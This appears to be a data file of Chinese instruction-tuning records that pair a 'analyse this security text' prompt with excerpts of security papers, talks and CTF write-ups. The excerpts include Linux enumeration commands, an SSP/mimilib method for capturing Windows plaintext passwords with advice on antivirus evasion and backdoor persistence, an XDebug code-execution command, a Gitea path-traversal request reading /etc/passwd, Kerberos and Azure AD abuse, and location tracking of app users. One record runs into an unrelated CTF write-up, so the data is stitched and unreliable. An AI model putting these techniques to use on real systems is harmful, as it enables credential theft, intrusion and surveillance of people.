[日志](#日志) * [应用服务](#应用服务) * [用户相关](#用户相关) * **[硬件](#硬件)** * [CPU](#CPU) * [内存](#内存) * [时间负载](#时间负载) * [网络](#网络) * [硬盘文件系统](#硬盘文件系统) --- ## 软件 ### 版本信息 ```bash hostname # 查看服务器主机名命令 cat /etc/*-release # 查看通用 Linux 发行版版本 cat /etc/lsb-release # Debian based cat /etc/issue # 查看 Ubuntu Debian 系发行版版本命令 cat /etc/redhat-release # 查看 CentOS RedHat 系发行版版本命令 cat /proc/version # 查看系统版本 ``` **内核信息** ```bash uname -r # 查看内核版本 uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- ``` --- ### 环境变量 ```bash cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set export # 查看所有环境变量 ``` --- ### 开机启动 ```bash chkconfig # 查看开机启动服务命令 ls /etc/init.d # 查看开机启动配置文件命令 cat /etc/rc.local # 查看 rc 启动文件 ``` ### 定时任务 ```bash crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root ``` --- ### 日志 ```bash cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log # 存储来自可插拔认证模块(PAM)的日志包括成功的登录失败的登录尝试和认证方式 cat /var/log/chttp.log cat /var/log/cups/error_log # 记录打印信息日志的报错信息 cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog # 记录系统中所有用户最后一次登录时间的日志这个文件是二进制文件可以使用 lastlog 命令查看 cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages # 核心系统日志文件包含系统启动引导系统运行状态和大部分错误信息等都会记录到这个", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAttacking .Net Applications At Runtime By: Jon McCoy Abstract This paper will introduce methodology for attacking .NET programs at Runtime. This attack will grant control over the targets variables, core logic, and the GUI. This attack is implemented with .NET code, and is heavily based on reflection. This paper has a C# implementation of this attack: DotNetSpike Introduction This attack can navigate and control a live program by using the rules of the Runtime system to control other .NET applications. Some rules can be bent others can be broken. Once access to another programs Runtime is gained almost absolute control is at hand. Most every aspect from Objects to Events can be accessed, and most of the time modified. This allows for simple attacks like changing an Objects values or calling functionality, and more complex attacks like introducing or changing the basic logic of the target can be done with ease. With this level of control the target can be forced to divulge protected information, carry out subverted functionality and send corrupted signals. This attack will also allow for accessing the code base and Object structure live. This platform can allow an attack to be developed and implemented in a matter of minutes or hours. Once inside of the target program the necessary references need to be found, and then full power of .NET can be used. After gaining all the references it can be a matter of changing one variable or introducing one line of code to subvert a program's logic. Access Live .NET Program The first step is to establish a connection inside of the targets Runtime; this is done in a number of ways. This can range from compromising the .NET Framework 1 to exploiting a glitch in a specific application. Each method of accessing another applications Runtime has a different impact on stability, foot print and security alerts. Also the method of entry used will change what references are at hand and what if any constraints will be imposed. The method of", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n不修改注册表获取 windows 明文密码的若干姿势之 SSP 一 SSP 的作用 Security Support Providers 是一个提供约定回调函数的 dll向系统注册了 SSP 后系统在认证 过程中就会调用此 dll 中的某些函数SSP 必须导出的函数如下 SpLsaModeInitialize SpInitialize SpGetInfo SpShutDown SpAcceptCredentials 在这里我们只需要关心 SpAcceptCredentials 这个回调函数正如名字描述的一 样此函数在系统认证过程中会接收到用户输入的账密我们只需要记录下来就 可以拿到用户的明文账密mimilib 已经贴心地给我们实现了这个功能 二向系统注册我们的 SSP 在此引出 AddSecurityPackage 这个 windows API. MSDN 上对此 API 的功能描述是 Adds a security support provider to the list of providers supported by Microsoft Negotiate. 具体的功能就是让系统去主动加载我们的 SSP在系统认证过程中调用我们的 SPP 里面的回调 与其他获取明文密码的姿势相比 SSP 具有以下优势 这是 windows 提供的功能较为隐蔽 不用直接读写 Lsass 进程内存绕过了 AV 的防护 不需要写注册表和让目标机器重启立即生效 三 验证 环境win10 1909 x64. Windows defender 功能全开 1. 注册 SSP让系统加载 此时 SSP 已经被加载无法删除它 2. 触发用户认证SSP 成功地记录到明文账密功能正常 注意点 实战中 mimilib 特征较多务必要做好免杀经测试将明文密码加密编码更加隐蔽容易 过 AV 检测 SSP 会在机器重启后失效若要作为后门来用请做好持久化 四参考&引用 xpn @_xpn_ (这是个贼啦 NB 的大佬) https://blog.xpnsec.com/exploring-mimikatz-part-2/ 里面具体逆向分析和调试过程 干货挺多 MSDN: https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-addsecuritypackagew", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAura A peer-to-peer reputation system Cat Okita, 2003 Reputation Systems What is a Reputation System? Livejournal/Friendster, eBay, Avogato, Slashcode Why do you care? What could you use this for? Establishing trust, performance metrics, meme propagation, spam filtering Challenges Authentication Trust Non-repudiation Design Considerations Fast, resource efficient Secure - Difficult to corrupt information or impersonate others Portable - Easy to use from any location Simple to use and extend Independent - not dependant on a centralized server Attacks Information poisoning Flooding Trojans Identity theft Impersonation DoS Implementation Peer-to-peer Can also run in collector mode Reputation Mode valuation of entity overall (both personal and general) or per template Gossip Mode information about other entities A quick check of Reputation Picking a mailer Stable, fast, secure? Finding out about a poster to a mailing list Crazy, expert, unknown? Configuration Text-based configuration Templates for details Requires use of public key Future Plans Pretty GUI Better cross-platform portability Improved statistical reporting Implementation of group keys Trigger automation Finis Available at: http://www.geekness.net/tools/aura Email to: aura@geekness.net Questions???", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# investigation_encoded_2 Forensics, 500 points ## Description: > We have recovered a binary and 1 file: image01. See what you can make of it. > NOTE: The flag is not in the normal picoCTF{XXX} format. ## Solution: This is the follow-up challenge for [investigation_encoded_1](investigation_encoded_1.md). The challenges are very similar and therefore we'll only be listing the differences. We start by running the new binary: ```console root@kali:/media/sf_CTFs/pico/investigation_encoded_2# ./mystery Error: file ./flag.txt not found root@kali:/media/sf_CTFs/pico/investigation_encoded_2# echo abcde>flag.txt root@kali:/media/sf_CTFs/pico/investigation_encoded_2# ./mystery Segmentation fault ``` Let's just open it with Ghidra. The main function is: ```c undefined8 main(void) { long lVar1; size_t sVar2; undefined4 local_18; int local_14; FILE *local_10; badChars = '\\0'; local_10 = fopen(\"flag.txt\",\"r\"); if (local_10 == (FILE *)0x0) { fwrite(\"Error: file ./flag.txt not found\\n\",1,0x21,stderr); /* WARNING: Subroutine does not return */ exit(1); } flag_size = 0; fseek(local_10,0,2); lVar1 = ftell(local_10); flag_size = (int)lVar1; fseek(local_10,0,0); login(); if (0xfffe < flag_size) { fwrite(\"Error, file bigger than 65535\\n\",1,0x1e,stderr); /* WARNING: Subroutine does not return */ exit(1); } flag = malloc((long)flag_size); sVar2 = fread(flag,1,(long)flag_size,local_10); local_14 = (int)sVar2; if (local_14 < 1) { /* WARNING: Subroutine does not return */ exit(0); } local_18 = 0; flag_index = &local_18; output = fopen(\"output\",\"w\"); buffChar = 0; remain = 7; fclose(local_10); encode(); fclose(output); if (badChars == '\\x01') { fwrite(\"Invalid Characters in flag.txt\\n./output is corrupted\\n\",1,0x35,stderr); } else { fwrite(\"I\\'m Done, check file ./output\\n\",1,0x1e,stderr); } return 0; } ``` We proceed to `encode()`: ```c void encode(void) { byte bVar1; ulong uVar2; int iVar3; int local_10; char current_char; while (*flag_index < flag_size) { uVar2 = lower(*(byte *)(*flag_index", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# XDebug 远程调试漏洞代码执行 XDebug是PHP的一个扩展用于调试PHP代码如果目标开启了远程调试模式并设置`remote_connect_back = 1` ``` xdebug.remote_connect_back = 1 xdebug.remote_enable = 1 ``` 这个配置下我们访问`http://target/index.php?XDEBUG_SESSION_START=phpstorm`目标服务器的XDebug将会连接访问者的IP或`X-Forwarded-For`头指定的地址并通过dbgp协议与其通信我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码 更多说明可参考 - https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface - https://xdebug.org ## 测试环境 编译及启动测试环境 ``` docker compose build docker compose up -d ``` 启动完成后访问`http://your-ip:8080/`即可发现主页是一个简单的phpinfo在其中可以找到xdebug的配置可见开启了远程调试 ## 漏洞利用 因为需要使用dbgp协议与目标服务器通信所以无法用http协议复现漏洞 我编写了一个[漏洞复现脚本](exp.py)指定目标web地址待执行的php代码即可 ``` # 要求用python3并安装requests库 python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');' ``` ![](1.png) **重要说明因为该通信是一个反向连接的过程exp.py启动后其实是会监听本地的9000端口可通过-l参数指定并等待XDebug前来连接所以执行该脚本的服务器必须有外网IP或者与目标服务器处于同一内网**", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Gitea 1.4.0 目录穿越导致命令执行漏洞 Gitea是从gogs衍生出的一个开源项目是一个类似于GithubGitlab的多用户Git仓库管理平台其1.4.0版本中有一处逻辑错误导致未授权用户可以穿越目录读写任意文件最终导致执行任意命令 参考链接 - https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html - https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html ## 漏洞环境 执行如下命令启动启动漏洞环境 ``` docker compose up -d ``` 环境启动后访问`http://you-ip:3000`将进入安装页面填写管理员账号密码并修改网站URL其他的用默认配置安装即可不要修改端口号 安装完成后创建一个公开的仓库随便添加点文件进去比如使用选定的文件和模板初始化仓库 ![](1.png) 然后需要执行一次`docker compose restart`重启gitea服务原因详见第二个参考链接 ## 漏洞复现 由于漏洞链整体利用比较复杂我们只复现文件读取部分剩余利用方法详见第二个参考链接 打开gitea找到刚才创建的公开项目如`vulhub/repo`发送如下数据包添加一个Git LFS对象 ``` POST /vulhub/repo.git/info/lfs/objects HTTP/1.1 Host: your-ip:3000 Accept-Encoding: gzip, deflate Accept: application/vnd.git-lfs+json Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 151 { \"Oid\": \"....../../../etc/passwd\", \"Size\": 1000000, \"User\" : \"a\", \"Password\" : \"a\", \"Repo\" : \"a\", \"Authorization\" : \"a\" } ``` 然后访问`http://your-ip:3000/vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth`即可看到`/etc/passwd`已被成功读取 ![](2.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nbypass NAT 0x00 portswiggertop-10-web-hacking-techniques-of-2020-nominations-open2020 https://portswigger.net/research/top-10-web-hacking-techniques-of-2020-nominations-open https://samy.pl/slipstream/ NATslipstreaming nat nat rrrrrr 0x01 nat slipstreamhttps://samy.pl/slipstream/ https://forum.butian.net/share/88 github2009https://github.com/rtsisyk/linux-iptables-contrack-exploit nf_conntrackhttps://clodfisher.github.io/2018/09/nf_conntrack/ iptables sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT inputESTABLISHEDtcpubuntu https://help.ubuntu.com/community/IptablesHowTo ESTABLISHEDtcp inputtcpRELATEDALG ALGFTPRELATEDALG TCPTCP ALGwiki ALGNAT2010 nat slipstreamSIPFTP SIP 1. SIP 2. 3. jspost 4. MTUpostSIP 5. SIPRELATED 0x02 FTP ALG SIPSIPFTP iptablesFTP FTPALG 1. nf_conntrack 2. nf_conntrack_ftp 3. inputrelated nf_xxxLinuxubuntu20 nf_conntrack_ftpftpALGLinux ubuntu20 FTP https://www.cnblogs.com/mawanglin2008/articles/3607767.html FTP USER admin PASS admin PORT 127,0,0,1,0,22 port portip8848 0x22900x220x9034,144127.0.0.18848 PORT 127,0,0,1,34,144 EPRT |1|127.0.0.1|8848| payloadport 0x03 1. TCP 2. 3. SSRFSSRFSSRF SSRF SSRFSSRF GET nf_conntrack_ftp 1. ESTABLISHED 2. 3. TCP PAYLOAD 4. PORTEPRT 5. 6. 21 httptcp http tcp flagpush1pushtcphttptcp tcptcppush HTTPSSRF 1. gophergophertcppayloadpush 2. 30xhttp30x30x payloadPORThttpGETPOST 3. pipelinepipelinepipeline 4. httppushhttptrunk 0x04 http curl -X POST -T x.txt http://xxx.xxx.xxx.xxx:21 postpush 1 1post Expect: 100-continue https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/100 post bodyExpectpost body post bodypushtcp SSRF curl -X POST -T x.txt http://xxx.xxx.xxx.xxx:21 phpcurl https://gist.github.com/perusio/1724301 phpcurlpost1024expect php post 1. body1024 2. 3. phpdemo This pasta is up to no good. There MUST be something behind it. ![](images/pasta1.png) ## Solution: Using `stegsolve` or [this online tool](https://georgeom.net/StegOnline/image), it's possible to browse through all available planes. We eventually find the following hidden layer: ![](images/pasta2.png) The flag: `picoCTF{pa$ta_1s_lyf3}`.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAAPL Automated Analog Telephone Logging. Using modern techniques and software to map the PSTN. - Da Beave & Jfalcon - Da Beave Work in the network security field @ Softwink, Inc. Author Asterisk Hacking and Threat Analysis 2008 Syngress Press Hacker/Programmer Author of iWar and various other hacking tools ( X.25 tools, etc) Founder of 'Telephreak' (loose knit Asterisk/VoIP hackers). Check out www.telephreak.org (The BBS!) Founder of The Deathrow OpenVMS cluster JFalcon First Federally Convicted Hacker in Alaska (1994) Professional consultant and hired gun to Fortune 500 companies Experimenter, Hacker and Inventor Brief history.... Yes, we know who we're talking to...... Hand scanning Very slow.... Pick up the phone dial and listen. Can be accurate, but that largely depends on the hand scanners knowledge base. Still a popular pass time for phreaks. (See http://www.handscan.net) Automated Wardialing (Old School) 1980's ..... Made you this guy.... Historical Problems with Automatic Wardialing Typically relied on standard PSTN/POTS connections. Telcos monitor for over utilization of their service and flag the line for further investigation. In some cases they'd shut down your POTS line leaving you to explain what you where doing. Modems are lame. Scan for carriers (data) or tones/fax. Multiple scans. You are limited by your hardware. Later generation CTI hardware? Cost prohibited then, now obsolete (ISA boards!) and need PRI. Sure things like randomly dialing/random timing help, but still you end up missing a lot. Still the 80' but enter the AppleCat Could generate and detect tones. Good for boxing and for this talk War dialing. Software like Cat's Meow/Phantom Access. Expensive and proprietary API (Later Firmware emulated Hayes command set. We'll talk about his later... 2002'ish. We can do it better. Sorta.... Enter VoIP: Less problems/different headaches. (The good) The world is your oyster. Cheap calls even if they supervise. If they don't, free or next to no", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAttacking Tor at the Application Layer Gregory Fleischer (gfleischer@gmail.com) DRAFT SLIDES Updated slides will be provided after the talk. Most importantly, the updates will include links to permanent location for all online demos. Introduction Introduction What this talk is about identifying Tor web traffic fingerprinting users attacking at the application layers There is a heavy emphasis on the client- side, web browsers attacks and JavaScript Introduction What this talk is NOT about passive monitoring at exit nodes network attacks against path selection using application functionality to increase the likelihood of network attacks breaking SSL Introduction Software tested The Tor Browser Bundle Vidalia Bundle for Windows Vidalia Bundle for Mac OS X Firefox 2, Firefox 3.0 and Firefox 3.5 RC Torbutton Background Background Brief overview of Tor free software developed by The Tor Project uses onion routing and encryption to provide network anonymity can be used to circumvent local ISP surveillance and network blocking can also be used to hide originating IP address from remote servers Background Adversary model at the application layer normal browsing, without Tor local ISP remote server Background Adversary model when using Tor remote server exit nodes remote servers ISP exit nodes ISP Background Exit nodes as attack points can inject arbitrary content into non- encrypted responses but can also modify or replace non- encrypted requests Tor users make attractive targets because they are self-selecting Background Applications and Tor only applications that are proxy aware can use Tor properly network clients that dont know about Tor may leak the users original IP address users IP address may also leak for applications that dont use proxy for name lookups Background DNS requests over Tor DNS queries are resolved by remote Tor node resolution can be slow, so queries are cached locally for a minimum of 60 seconds regardless of TTL ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRelatively Easy to Exploit Easily Automated Usually not monitored Kerberos Kerberos Delegation Focus on High Privileges Malicious JIT administration Ticket based authentication protocol Domain User AS TGS KDC TGT TGS LSASS (KERBEROS) AES256 AES128 RC4 DES ST TGT TGT App Server ST Why? An application reusing user credentials Web server accessing a SQL DB How? Request tickets on behalf of the user User1 Web Server SQL Server DC User1 Authentication User1 Ticket Delegated Delegation to any service Kerberos Only (S4U2Proxy) Protocol Transition (S4U2Self + S4U2Proxy) Domain Account or Local System Access NO ACCESS PIVOTING PRIVILEGED FULL CONTROL ACLs Brute Force GPOs Kerberoasting CONSTRAINED DELEGATION GPO TAMPERING BUSTED! Pass-The-Hash Pass-The-Ticket BloodHound GoFetch Domain Admin Enterprise Admin Dump NTDS.dit (VSS, DRSUAPI) Golden ticket Skeleton key Replication requests from a non-DC machine Detect crafted tickets Encryption downgrade Accounts holding permanent high privileges serve as valuable targets for attackers JIT Administration High privileges are required to perform an operation Get the required privileges for a limited amount of time When the time period expires, the high privileges are revoked Reduces the attack surface Get administrative access for a limited time Perform malicious operations Leave no traces behind to avoid detection Delegation scenario AdminSDHolder scenario 1 AdminSDHolder scenario 2 Object Ownership Discretionary Access Control List (DACL) Access control entries (ACE) DACL User SID Security Group SIDs User Rights Access Token Deny ACEs Allow ACEs Inherited Deny ACEs Inherited Allow ACEs LSA Matches SIDs from The access Token with SIDs in the ACEs Add a new machine account Set machine owner to a malicious account Owner can edit the ACL of the object GPO Tampering: Enable accounts to be trusted for delegation DACL Modification: Add GenericAll ACE for malicious_user on new m", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nI Know Where You Are: 基于LBSN APP的地理位置追踪 2015年9月15日 赵 双(DFlower) 羅夏樸(Xiapu Luo) 1 Who AM I 赵双 DFlower, dflower.zs@gmail.com Insight-Labs Team 成员 (http://insight-labs.org) 研究领域漏洞挖掘恶意代码分析手机安全 0day安全软件漏洞分析技术(第2版)作者之一 OWASP China 2010 Xcon 2011 Speaker 羅夏樸 (Xiapu Luo, luoxiapu@gmail.com) RAP in HKPolyU 研究領域手機安全網絡安全 Papers published in major security conferences (e.g., NDSS, BlackHat, Defcon, etc.) 2 目录 LBSN APP 介绍 基于LBSN APP进行地理位置追踪 实例: 追踪全北京新浪微博用户的地理位置 给APP厂商的建议 3 LBSN APPs LBSN: Location-based Social Network基于位置的社交 网络 很多LBSN APP具有发现附近的人(Nearby)功能 微信 Wechat 米聊 Mitalk 陌陌 Momo 新浪微博 Weibo 4 LBSN APPs 很多LBSN APP具有发现附近的人(Nearby)功能 SKOUT SayHi Badoo LOVOO 5 LBSN APPs 很多LBSN APP具有发现附近的人(Nearby)功能 当用户使用Nearby功能时 上传自己位置信息 寻找自己所处位置周边的陌生人 允许其他人在一定时间内发现自己 User Server Database t t search people in database save user1s location User1 searches people nearby User1 is found by user2 User1 is not found by user3 save user2s location User2 searches people nearby Save user3s location User3 searches people nearby search people in database search people in database Result 6 目录 LBSN APP 介绍 基于LBSN APP进行地理位置追踪 数据发送 数据获取 数据挖掘 DEMO: Mitalk, Wechat, Weibo 实例: 追踪全北京新浪微博用户的地理位置 给APP厂商的建议 7 如何基于LBSN APP进行位置追踪 1. 数据发送 登录APP并在不同的地理位置搜索附近的人 2. 数据获取 获得时间地点人数据集 3. 数据挖掘 数据集信息足够多的情况下可对目标的日常活动范围和轨迹 进行追踪 8 数据发送 针对不同类型的APP采用不同的数据发送方式 1. 构造数据包 2. 模拟器仿真 APP信息 数据安全性 利用难度 APP Googlepla y下载量 (million) 360电子市 场下载量 (million) 位置精确 度( APP中) 数据传输方式 爬取APP位置数据方式 利用难度 Weibo 5-10 456 100m 明文 构造数据包 低 MeetMe 10-50 0.001 100m 明文 构造数据包 低 Skout 10-50 0.06 1000m 明文 构造数据包 低 SayHi 10-50 0.04 100m 明文 构造数据包 低 Badoo 50-100 0.07 1000m SSL单向认证 参数不明 构造数据包 模拟器仿真 ? Momo 1-5 168 10m SSL单向认证 构造数据包 低 Mitalk 0.5-1 17 100m 带加密参数的明文 破解加密参数&构造数据包 模拟器仿真 高 LOVOO 10-50 0.001 0.1mile SSL单向认证带 加密参数 破解加密参数&构造数据包 模拟器仿真 高 Wechat 100-500 455 100m SSL双向认证 替换证书&构造数据包 模拟器仿真 高 9 1. 数据发送 1. APP数据明文传输 典型APPWeiboMeetmeSayHi, Skout 方式构造并发送包含特定地理位置的数据包获取该位置附近的人 Weibo Meetme SayHi Skout 10 1. 数据发送 2. APP数据采用HTTPS传输SSL单向认证 典型APPMomo 2", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents Backdooring and hijacking Azure AD accounts by abusing external identities Dirk-jan Mollema / @_dirkjan #BHUSA @BlackHatEvents Information Classification: General whoami - Dirk-jan Mollema - Lives in The Netherlands - Hacker / Researcher / Founder @ Outsider Security - Author of several (Azure) Active Directory tools - mitm6 - ldapdomaindump - BloodHound.py - aclpwn.py - Co-author of ntlmrelayx - ROADtools - Blogs on dirkjanm.io - Tweets stuff on @_dirkjan #BHUSA @BlackHatEvents Information Classification: General Azure AD Identity platform for Office 365, Azure Resource Manager, and other Azure things Also identity platform for any first/third party app you want to integrate with it This is not about Azure infrastructure/VMs/etc Terminology #BHUSA @BlackHatEvents Information Classification: General Tenant A separate instance of Azure AD for an organization. Most organizations have one primary tenant. Important security boundary in Azure AD. Identified by a GUID Identified by at least a tenantname.onmicrosoft.com domain Usually also identified by custom domains Terminology #BHUSA @BlackHatEvents Information Classification: General External identity Any identity that is not managed by your tenant Can be another Azure AD tenant, Microsoft account, Google account or even just an email address. Terminology #BHUSA @BlackHatEvents Information Classification: General External collaboration Tenant A Tenant B #BHUSA @BlackHatEvents Information Classification: General External collaboration Tenant A Resource tenant Tenant B Home tenant Guest account Home tenant account Linked #BHUSA @BlackHatEvents Information Classification: General How does the invite flow work? How are accounts linked to a different tenant? What possibilities are there to abuse this? Research questions #BHUSA @BlackHatEvents Information Classification: General 2 tenants: Primary: Iminyour.cloud (iminyourcloud.onmicrosoft.com) External: Crosstenantdev (crosstenantd", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Matrix CTF 2021 - אתגר מטריקס 2021 Writeups for the [2021 Matrix CTF](https://ctf.matrixcyberlabs.com/). Solved with zVaz and YaakovC. We solved the challenges third, congratulations to Canlex who solved them first and unblvr who solved them second. Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/14).", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCaendra Inc. 2020 All Rights Reserved Web Application Penetration Testing eXtreme Encod%69ng and /Filtering$/ S e c t i o n 0 1 | M o d u l e 0 1 WAPTXv2: Section 1, Module 1 - Caendra Inc. 2020 Table of Contents MODULE 01 | ENCOD%69NG AND /FILTERING$/ 1.1 Data Encoding Basics 1.2 Filtering Basics | p.2 WAPTXv2: Section 1, Module 1 - Caendra Inc. 2020 Learning Objectives In this module we will talk about different types of data encoding. We will see how to recognize, encode, and decode several different formats as well as discuss filters and how they work. | p.3 WAPTXv2: Section 1, Module 1 - Caendra Inc. 2020 1.1 Data Encoding Basics | p.4 WAPTXv2: Section 1, Module 1 - Caendra Inc. 2020 Even though web applications have different purposes, technologies, etc., the use of data encoding is something that cannot be neglected. From a penetration testing point of view, understanding what kind of data encoding is being used and how it works is fundamental in ensuring that the tests are performed as intended. 1.1 Data Encoding Basics | p.5 WAPTXv2: Section 1, Module 1 - Caendra Inc. 2020 Lets briefly analyze the main types of data encoding used in web-oriented applications: URL encoding HTML encoding Base (32|64) encoding Unicode encoding 1.1.1 Dissecting Encoding Types | p.6 WAPTXv2: Section 1, Module 1 - Caendra Inc. 2020 http://tools.ietf.org/html/rfc3986#section-2.1 As stated in RFC 3986, URLs sent over the Internet must contain characters in the range of the US-ASCII code character set. If unsafe characters are present in a URL, encoding them is required. The URL-encoding, or percent-encoding, replaces characters outside the allowed set with a \"%\" followed by the two hexadecimal digits representing the numeric value of the octet. 1.1.1.1 URL Encoding | p.7 WAPTXv2: Section 1, Module 1 - Caendra Inc. 2020 http://perishablepress.com/stop-using-unsafe-characters-in-urls/ The table shown here is a simple character encoding chart that is useful in explaining wh", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPlease& Stand& by&this& talk& will& start& soon!& DEF CON 2018-13-05 Beijing, China From Dark Visitors to Valued Allies. You&may&have&seen&me&rob&a&bank&on&NatGeo&TV&show&Breakthrough&Season&2& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! You&may&have&seen&me&on&the&news&discussing&Hacking&&&security&related&topics.& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! Or&you&may&have&unfortunately&seen&me&in&your&server&room!...&&;-)& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! What does it mean to be a Hacker? What does it mean to be a Hacker? !!!!!!!!!!!Cai!Lun!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Shen!Kuo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Professor!Huang!Hongjia! Hackers provide a valuable service to society by discovering vulnerabilities & Reporting them! Why are there no Black Hat Bankers?!? If something is broken but not discovered is it less broken? Companies that help. Resources 1. https://bugcrowd.com/ 2. https://hackerone.com/ 3. http://lutasecurity.com/ If something is broken but not discovered is it less broken? Resources 1. Microsoft https://technet.microsoft.com/en-us/library/dn425036.aspx 2. Apple https://techcrunch.com/2016/08/04/apple-announces-long- awaited-bug-bounty-progr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTRACKING SPIES IN THE SKIES ABOUT THE TALK LAW ENFORCEMENT AND AERIAL SURVEILLANCE History of aerial surveillance (Sam Richards) Technology on spy planes (Jerod MacDonald-Evoy) Detecting surveillance aircraft (Jason Hernandez) HISTORY OF THE SKY SPIES Odd plane patterns noticed, WSJ, Baltimore r/conspiracy (John Wiesman - ADSB Detection) Citizen journalists (Sam Richards) #FBISkySpies and 100 Tail- numbers, links to FlightRadar24 tracks SKY SPIES 101 Sam's story goes viral, a week later AP breaks it into the mainstream Sen. Franken calls for investigation (nothing happens) FBI Planes hidden behind front companies (FVX Research, et. al) WHAT WE KNOW TYPES OF AIRCRAFT Small xed wing (Cessnas) Large dual engine (Beechcraft) Military style (Pilatus) Helicopters Drones (Small and Large) EQUIPMENT Wescam by L3 Communications FLIR SAFIRE IMSI Catchers LETC Devices EXAMPLES OF USE FBI Aerial Surveillance of Freddie Grey protests FBI Aerial Surveillance of Arizona I-10 shooter suspect's apartment Phoenix PD used Pilatus to follow U-haul thief 'Persistent Surveillance Solutions' HIDDEN IN PLANE SIGHT FBI, CBP, DEA and DOJ use of front companies $10 FAA records request reveals equipment The Delaware problem PHOENIX PD PLANE UHaul Chase Phoenix PD FOOTAGE OBTAINED VIA PUBLIC RECORDS REQUEST TRACKING THE SKY SPIES How do we more generally detect surveillance aircraft and activity? Registrations can be changed and obscured Many 